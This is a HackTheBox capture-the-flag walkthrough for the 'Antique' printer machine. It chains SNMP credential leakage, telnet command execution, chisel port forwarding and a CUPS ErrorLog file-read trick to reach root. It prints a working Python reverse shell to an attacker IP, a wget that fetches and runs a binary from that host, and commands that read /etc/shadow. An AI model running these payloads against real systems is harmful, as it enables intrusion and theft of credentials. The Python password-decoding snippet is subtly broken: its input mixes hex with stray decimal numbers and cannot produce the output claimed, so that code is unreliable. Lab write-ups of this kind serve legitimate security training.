Antique - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Antique is an easy Linux machine featuring an HP JetDirect network printer that discloses credentials through SNMP enumeration. The printer’s telnet service accepts these credentials, allowing command execution as the lp user through the printer’s exec command. Privilege escalation is achieved by accessing the locally running CUPS administration service via port forwarding, then exploiting a known arbitrary file read vulnerability in CUPS versions prior to 1.6.2 by manipulating the ErrorLog configuration file path to read sensitive files like /etc/shadow and ultimately obtain root access.

TL;DR: SNMP enumeration → Extract HP printer credentials → Telnet access + exec command RCE → Port forward CUPS service → Exploit CUPS arbitrary file read → Root access.

Reconnaissance

Port Scanning

# Initial full port scan
nmap -p- --min-rate=1000 -T4 10.10.10.251

# Detailed scan on discovered ports
nmap -sC -sV 10.10.10.251

Results:

• Port 23/TCP - Telnet (HP JetDirect service)
• Port 161/UDP - SNMP (community string: public)

Service Enumeration

Telnet Service: The telnet service running on port 23 identifies itself as “HP JetDirect” and prompts for authentication.

SNMP Service: SNMP on port 161 responds to community string public. Initial enumeration reveals the device is an “HTB Printer.”

Vulnerability Assessment

1. SNMP Information Disclosure - The SNMP service exposes credential information through a known HP JetDirect vulnerability via MIB .1.3.6.1.4.1.11.2.3.9.1.1.13.0
2. Remote Command Execution via Telnet - The printer’s telnet interface accepts the disclosed credentials and provides an exec command for arbitrary command execution
3. CUPS Local Privilege Escalation - CUPS running on port 631 (localhost only) is vulnerable to arbitrary file read in versions < 1.6.2

Initial Foothold

SNMP Credential Extraction

First, enumerate the SNMP service to discover the printer model and gather initial reconnaissance:

snmpwalk -v 2c -c public 10.10.10.251

This confirms we’re dealing with an HP Printer. Now, exploit the known HP JetDirect vulnerability by querying the specific MIB that stores the telnet password:

snmpwalk -v 2c -c public 10.10.10.251 .1.3.6.1.4.1.11.2.3.9.1.1.13.0

The output returns a hex-encoded string. Decode it using Python:

import binascii

hex_string = '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 11 9 122 123 126 130 131 134 135'

password = binascii.unhexlify(hex_string.replace(' ', ''))
print(password.decode())
# Output: P@ssw0rd@123!!123

Telnet Access and Command Execution

Connect to the telnet service and authenticate with the extracted credentials:

telnet 10.10.10.251 23
# Password: P@ssw0rd@123!!123

Once authenticated, enumerate available commands by typing ?. The exec command allows arbitrary system command execution. Set up a reverse shell listener on your attack machine:

nc -lvnp 1234

From the telnet session, execute the Python reverse shell payload:

exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

This provides a reverse shell as the lp user, who is a member of the lpadmin group used for printer administration.

Privilege Escalation

CUPS Service Discovery and Port Forwarding

After obtaining the initial shell, enumerate listening services:

netstat -tulpn | grep LISTEN

A service is running on port 631 (CUPS - Internet Printing Protocol). This port is only accessible from localhost. Set up port forwarding using chisel to access the CUPS web interface from your attack machine:

On your attack machine, start a chisel server:

git clone https://github.com/jpillora/chisel
cd chisel && go build -ldflags="-s -w"
./chisel server -p 8000 --reverse

On the compromised machine, download and run chisel client:

# Download chisel to the target
wget http://10.10.14.4:8000/chisel -O /tmp/chisel
chmod +x /tmp/chisel

# Set up reverse port forward
/tmp/chisel client 10.10.14.4:8000 R:631:127.0.0.1:631

Now access the CUPS administration interface on your attack machine:

http://127.0.0.1:631

CUPS Arbitrary File Read Exploitation

CUPS versions prior to 1.6.2 contain a vulnerability allowing arbitrary file read. The CUPS service running as root can be exploited by modifying the ErrorLog configuration path.

Navigate to the Administration section in the CUPS web interface. Click on View Error Log to see the current error log. The service reads from the configured ErrorLog path, which we can manipulate.

From the reverse shell, use cupsctl to change the ErrorLog path to point to sensitive files:

cupsctl ErrorLog="/etc/shadow"

Now send a curl request to the CUPS interface to trigger an error log view:

curl -s http://127.0.0.1:631/admin/log/error_log | strings

Alternatively, navigate to the error log page in the web interface to view the contents of /etc/shadow. The same technique can be used to read the root flag:

cupsctl ErrorLog="/root/root.txt"
curl -s http://127.0.0.1:631/admin/log/error_log | strings

This arbitrary file read with root privileges allows full system compromise and flag retrieval.

Attack Chain Summary

SNMP Enumeration (.1.3.6.1.4.1.11.2.3.9.1.1.13.0)
         ↓
Hex Decode Password (P@ssw0rd@123!!123)
         ↓
Telnet Authentication
         ↓
exec Command Execution (Python Reverse Shell)
         ↓
Reverse Shell as lp user
         ↓
Port Forward CUPS (localhost:631)
         ↓
Access CUPS Web Interface
         ↓
Modify ErrorLog Path with cupsctl
         ↓
Arbitrary File Read as root
         ↓
Read /etc/shadow and /root/root.txt
         ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• SNMP enumeration and exploitation of information disclosure vulnerabilities
• Default/weak credential discovery in network devices
• Command execution through printer telnet interfaces
• Reverse shell payload crafting and execution
• Local port forwarding and proxy setup using chisel
• CUPS service exploitation and arbitrary file read vulnerabilities
• Linux privilege escalation through service misconfiguration

Lessons Learned

1. Network devices like printers are often overlooked but can provide valuable attack vectors through SNMP and management interfaces.
2. The SNMP community string “public” with read access is a significant risk and should be restricted or disabled on production systems.
3. Command injection in administrative interfaces (like the printer’s exec command) can lead to complete system compromise.
4. Services listening only on localhost (like CUPS) are still exploitable if combined with other vulnerabilities or access methods.
5. Configuration file manipulation (ErrorLog path) in privileged services can lead to arbitrary file read with elevated privileges.
6. Group membership (lpadmin) can provide unexpected privilege escalation paths when combined with vulnerable services.
7. Port forwarding techniques are essential for exploiting services that are not directly accessible from the network.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>